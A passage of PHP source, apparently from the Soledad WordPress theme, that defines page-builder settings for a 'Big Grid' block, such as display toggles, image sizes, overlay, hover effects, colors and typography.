			'type'        => 'penci_switch',
			'heading'     => __( 'Show Primary Category Only', 'soledad' ),
			'param_name'  => 'primary_cat',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Post Categories on Small Grid Items', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_cat_small',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Post Meta( Author, Date.. ) on Small Grid Items', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_meta_small',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Post Categories/Sub Title on Mobile', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_subtitle_mobile',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Post Meta/Description on Mobile', 'soledad' ),
			'value'       => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_desc_mobile',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Read More Button', 'soledad' ),
			'value'       => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'param_name'  => 'show_readmore',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Read More Button on Small Grid Items', 'soledad' ),
			'value'       => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'param_name'  => 'hide_rm_small',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Read More Button on Mobile', 'soledad' ),
			'value'       => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'param_name'  => 'hide_readmore_mobile',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Post Format Icons', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'show_formaticon',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Excerpt Length', 'soledad' ),
			'param_name' => 'excerpt_length',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Hide Only Post Excerpt on Small Grid Items', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_excerpt_small',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Post Format Icon Position', 'soledad' ),
			'value'      => array(
				esc_html__( 'Top Right', 'soledad' )    => 'top-right',
				esc_html__( 'Top Left', 'soledad' )     => 'top-left',
				esc_html__( 'Bottom Right', 'soledad' ) => 'bottom-right',
				esc_html__( 'Bottom Left', 'soledad' )  => 'bottom-left',
				esc_html__( 'Center', 'soledad' )       => 'center',
			),
			'std'        => 'top-right',
			'param_name' => 'formaticon_pos',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'show_reviewpie',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Review Scores Position', 'soledad' ),
			'value'      => array(
				esc_html__( 'Top Right', 'soledad' )    => 'top-right',
				esc_html__( 'Top Left', 'soledad' )     => 'top-left',
				esc_html__( 'Bottom Right', 'soledad' ) => 'bottom-right',
				esc_html__( 'Bottom Left', 'soledad' )  => 'bottom-left',
				esc_html__( 'Center', 'soledad' )       => 'center',
			),
			'std'        => 'top-left',
			'param_name' => 'reviewpie_pos',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Display One Column on Mobile?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'onecol_mobile',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Display Grid Items Same Height on Mobile?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'sameh_mobile',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Big Grid Content Position', 'soledad' ),
			'value'      => array(
				esc_html__( 'On Image', 'soledad' )    => 'on',
				esc_html__( 'Below Image', 'soledad' ) => 'below',
				esc_html__( 'Above Image', 'soledad' ) => 'above',
			),
			'std'        => 'on',
			'param_name' => 'bgcontent_pos',
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Gap Between Grid & Masonry Items', 'soledad' ),
			'std'        => '',
			'param_name' => 'bg_gap',
			'dependency' => array( 'element' => 'style', 'value' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Gap Between Items', 'soledad' ),
			'std'        => '',
			'param_name' => 'bg_othergap',
			'dependency' => array( 'element' => 'style', 'value_not_equal_to' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Adjust Ratio of Images( Unit % )', 'soledad' ),
			'std'        => '',
			'param_name' => 'penci_img_ratio',
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Custom Big Grid Height (Unit is px)', 'soledad' ),
			'std'        => '',
			'param_name' => 'bg_height',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Disable Lazyload Images?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'yes',
			'std'         => 'yes',
			'param_name'  => 'disable_lazy',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Page Navigation Style', 'soledad' ),
			'description' => __( 'Load More Posts Button & Infinite Scroll just works on frontend only.', 'soledad' ),
			'value'       => array(
				esc_html__( 'None', 'soledad' )                    => 'none',
				esc_html__( 'Page Navigation Numbers', 'soledad' ) => 'numbers',
				esc_html__( 'Load More Posts Button', 'soledad' )  => 'loadmore',
				esc_html__( 'Infinite Scroll', 'soledad' )         => 'scroll',
				esc_html__( 'Next/Previous', 'soledad' )           => 'nextprev',
			),
			'std'         => 'none',
			'param_name'  => 'paging',
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Page Navigation Align', 'soledad' ),
			'value'      => array(
				esc_html__( 'Center', 'soledad' ) => 'align-center',
				esc_html__( 'Left', 'soledad' )   => 'align-left',
				esc_html__( 'Right', 'soledad' )  => 'align-right',
			),
			'std'        => 'align-center',
			'param_name' => 'paging_align',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Margin Top for Page Navigation', 'soledad' ),
			'std'        => '',
			'param_name' => 'paging_matop',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
	), Penci_Vc_Params_Helper::params_heading(), Penci_Vc_Params_Helper::params_heading_typo_color(),

		/* Custom */

		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_cs_items',
				'heading'          => __( 'Custom Grid Items', 'soledad' ),
				'description'      => __( 'Add your custom grid item here', 'soledad' ),
				'group'            => $group_custom,
				'dependency'       => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'       => 'param_group',
				'param_name' => 'biggrid_items',
				'heading'    => esc_html__( 'Custom Grid Items', 'soledad' ),
				'group'      => $group_custom,
				'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'custom' ) ),
				'value'      => urlencode( json_encode( array(
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #1', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #2', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #3', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #4', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #5', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
					array(
						'image'        => vc_asset_url( 'vc/vc_gitem_image.png' ),
						'sub_title'    => __( 'Sub Title', 'soledad' ),
						'title'        => __( 'Big Grid Item #6', 'soledad' ),
						'desc'         => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
						'button_text'  => __( 'Click Here', 'soledad' ),
						'custom_style' => false,
					),
				) ) ),
				'params'     => array(
					array(
						'type'       => 'attach_image',
						'holder'     => 'img',
						'class'      => '',
						'heading'    => __( 'Select Image', 'soledad' ),
						'param_name' => 'image',
					),
					array(
						'type'       => 'textfield',
						'heading'    => __( 'Sub title', 'soledad' ),
						'param_name' => 'sub_title',
					),
					array(
						'type'       => 'textfield',
						'heading'    => __( 'Title', 'soledad' ),
						'param_name' => 'title',
					),
					array(
						'type'       => 'vc_link',
						'heading'    => __( 'Add Link for Title & Image', 'soledad' ),
						'param_name' => 'title_link',
					),
					array(
						'type'       => 'textarea',
						'heading'    => __( 'Description', 'soledad' ),
						'param_name' => 'desc',
					),
					array(
						'type'       => 'textfield',
						'heading'    => __( 'Button Text', 'soledad' ),
						'param_name' => 'button_text',
					),
					array(
						'type'       => 'vc_link',
						'heading'    => __( 'Button Link', 'soledad' ),
						'param_name' => 'button_link',
					),

					/* Style */ array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Custom Style ?', 'soledad' ),
						'param_name'  => 'custom_style',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'yes',
						'std'         => 'yes',
					),

					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Horizontal Position', 'soledad' ),
						'param_name'       => 'horizontal_position',
						'value'            => array(
							esc_html__( 'Center', 'soledad' ) => 'align-center',
							esc_html__( 'Left', 'soledad' )   => 'align-left',
							esc_html__( 'Right', 'soledad' )  => 'align-right',
						),
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-4',
					),

					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Verical Position', 'soledad' ),
						'param_name'       => 'vertical_position',
						'value'            => array(
							esc_html__( 'Top', 'soledad' )    => 'top',
							esc_html__( 'Middle', 'soledad' ) => 'middle',
							esc_html__( 'Bottom', 'soledad' ) => 'bottom',
						),
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-4',
					),

					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Text Align', 'soledad' ),
						'param_name'       => 'text_align',
						'std'              => 'align-left',
						'value'            => array(
							esc_html__( 'Center', 'soledad' ) => 'align-center',
							esc_html__( 'Left', 'soledad' )   => 'align-left',
							esc_html__( 'Right', 'soledad' )  => 'align-right',
						),
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-4',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Sub Title Color', 'soledad' ),
						'param_name'       => 'subtitle_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Title Color', 'soledad' ),
						'param_name'       => 'title_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Title Hover Color', 'soledad' ),
						'param_name'       => 'title_hcolor',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Description Color', 'soledad' ),
						'param_name'       => 'desc_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Text Color', 'soledad' ),
						'param_name'       => 'button_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Text Hover Color', 'soledad' ),
						'param_name'       => 'button_hcolor',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Border Color', 'soledad' ),
						'param_name'       => 'button_border_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Border Hover Color', 'soledad' ),
						'param_name'       => 'button_border_hcolor',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Background Color', 'soledad' ),
						'param_name'       => 'button_bg_color',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'colorpicker',
						'heading'          => __( 'Button Background Hover Color', 'soledad' ),
						'param_name'       => 'button_bg_hcolor',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'textfield',
						'heading'          => __( 'Content Text Padding', 'soledad' ),
						'param_name'       => 'bgoverlay_padding',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'textfield',
						'heading'          => __( 'Content Text Margin', 'soledad' ),
						'param_name'       => 'bgoverlay_margin',
						'dependency'       => array( 'element' => 'custom_style', 'value' => 'yes' ),
						'edit_field_class' => 'vc_col-sm-6',
					),
				),
			),
		),

		/* end custom */

		array(
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Custom Image Size', 'soledad' ),
				'param_name' => 'thumb_size',
				'std'        => 'penci-masonry-thumb',
				'group'      => 'Other',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Image Size for Big Items', 'soledad' ),
				'param_name' => 'bthumb_size',
				'std'        => 'penci-masonry-thumb',
				'group'      => 'Other',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Custom Image Size for Mobile', 'soledad' ),
				'param_name' => 'mthumb_size',
				'std'        => 'penci-masonry-thumb',
				'group'      => 'Other',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			),
		),

		/* Color */ array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_bgstyle_',
				'heading'          => esc_html__( 'Big Grid Style', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Horizontal Position', 'soledad' ),
				'param_name' => 'content_horizontal_position',
				'std'        => 'left',
				'value'      => array(
					esc_html__( 'Center', 'soledad' ) => 'center',
					esc_html__( 'Left', 'soledad' )   => 'left',
					esc_html__( 'Right', 'soledad' )  => 'right',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Vertical Position', 'soledad' ),
				'param_name' => 'content_vertical_position',
				'value'      => array(
					esc_html__( 'Top', 'soledad' )    => 'top',
					esc_html__( 'Middle', 'soledad' ) => 'middle',
					esc_html__( 'Bottom', 'soledad' ) => 'bottom',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Align', 'soledad' ),
				'param_name' => 'content_text_align',
				'std'        => 'left',
				'value'      => array(
					esc_html__( 'Center', 'soledad' ) => 'center',
					esc_html__( 'Left', 'soledad' )   => 'left',
					esc_html__( 'Right', 'soledad' )  => 'right',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Display', 'soledad' ),
				'param_name' => 'content_display',
				'value'      => array(
					esc_html__( 'Block', 'soledad' )        => 'block',
					esc_html__( 'Inline Block', 'soledad' ) => 'inline-block',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Content Text Max-Width', 'soledad' ),
				'param_name' => 'content_width',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Content Text Padding', 'soledad' ),
				'param_name' => 'content_padding',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Content Text Margin', 'soledad' ),
				'param_name' => 'content_margin',
				'group'      => $group_color,
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_bgoverlay',
				'heading'          => __( 'Big Grid Overlay', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Apply Overlay On:', 'soledad' ),
				'param_name' => 'overlay_type',
				'value'      => array(
					esc_html__( 'Whole', 'soledad' )              => 'whole',
					esc_html__( 'Whole Content Text', 'soledad' ) => 'text',
					esc_html__( 'None', 'soledad' )               => 'none',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Overlay Opacity(%)', 'soledad' ),
				'param_name' => 'overlay_opacity',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Overlay Hover Opacity(%)', 'soledad' ),
				'param_name' => 'overlay_hopacity',
				'group'      => $group_color,
			),

			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Apply Separate Background for Categories/Sub Title', 'soledad' ),
				'param_name'  => 'apply_spe_bg_subtitle',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'group'       => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Categories/Sub Title', 'soledad' ),
				'param_name' => 'spe_bg_subtitle',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_subtitle', 'value' => 'yes' ),
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Categories/Sub Title on Hover', 'soledad' ),
				'param_name' => 'spe_bg_hsubtitle',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_subtitle', 'value' => 'yes' ),
			),

			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Apply Separate Background for Title', 'soledad' ),
				'param_name'  => 'apply_spe_bg_title',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'group'       => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Title', 'soledad' ),
				'param_name' => 'spe_bg_title',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_title', 'value' => 'yes' ),
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Title on Hover', 'soledad' ),
				'param_name' => 'spe_bg_htitle',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_title', 'value' => 'yes' ),
			),

			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Apply Separate Background for Post Meta/Description', 'soledad' ),
				'param_name'  => 'apply_spe_bg_meta',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'group'       => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Post Meta/Description', 'soledad' ),
				'param_name' => 'spe_bg_meta',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_meta', 'value' => 'yes' ),
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Post Meta/Description on Hover', 'soledad' ),
				'param_name' => 'spe_bg_hmeta',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_meta', 'value' => 'yes' ),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_hover_effect',
				'heading'          => __( 'Big Grid Hover Effects', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Image Hover Effect', 'soledad' ),
				'param_name' => 'image_hover',
				'value'      => array(
					'Zoom-In'        => 'zoom-in',
					'Zoom-out'       => 'zoom-out',
					'Move to Left'   => 'move-left',
					'Move to Right'  => 'move-right',
					'Move to Bottom' => 'move-bottom',
					'Move to Top'    => 'move-top',
					'None'           => 'none',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Hover Type', 'soledad' ),
				'param_name' => 'text_overlay',
				'value'      => array(
					'None'          => 'none',
					'Show on Hover' => 'show-in',
					'Hide on Hover' => 'hide-in',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Hover Animation', 'soledad' ),
				'param_name' => 'text_overlay_ani',
				'value'      => array(
					'Move to Top'    => 'movetop',
					'Move to Bottom' => 'movebottom',
					'Move to Left'   => 'moveleft',
					'Move to Right'  => 'moveright',
					'Zoom In'        => 'zoomin',
					'Zoom Out'       => 'zoomout',
					'Fade'           => 'fade',
				),
				'group'      => $group_color,
			),

			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Makes Titles Always Visible?', 'soledad' ),
				'param_name'  => 'title_anivisi',
				'group'       => $group_color,
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'yes',
				'std'         => 'yes',
				'dependency'  => array( 'element' => 'text_overlay', 'value_not_equal_to' => array( 'none' ) ),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_typo_color',
				'heading'          => __( 'Big Grid Typo & Color', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background Color', 'soledad' ),
				'param_name' => 'bgitem_bg',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Color', 'soledad' ),
				'param_name' => 'bgitem_borders',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_responsive_sizes',
				'heading'    => __( 'Borders Width', 'soledad' ),
				'param_name' => 'bgitem_borderwidth',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Padding', 'soledad' ),
				'param_name' => 'bgitem_padding',
				'group'      => $group_color,
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_bgtitle_design',
				'heading'          => __( 'Big Grid Title Design', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text & Link Color', 'soledad' ),
				'param_name' => 'bgsub_title',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Link Hover Color', 'soledad' ),
				'param_name' => 'bgsub_title_hover',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Typography', 'soledad' ),
				'param_name' => 'bgsub_title_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_bgtitle',
				'heading'          => __( 'Big Grid Title', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Title Color', 'soledad' ),
				'param_name' => 'bgtitle_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Title Hover Color', 'soledad' ),
				'param_name' => 'bgtitle_color_hover',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Title Typography for Big Items', 'soledad' ),
				'param_name' => 'bgtitle_typo_big',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Title Typography', 'soledad' ),
				'param_name' => 'bgtitle_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_post_meta',
				'heading'          => __( 'Post Meta & Description Text', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Color', 'soledad' ),
				'param_name' => 'bgdesc_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Links Color', 'soledad' ),
				'param_name' => 'bgdesc_link_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Links Hover Color', 'soledad' ),
				'param_name' => 'bgdesc_link_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Typography', 'soledad' ),
				'param_name' => 'title_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
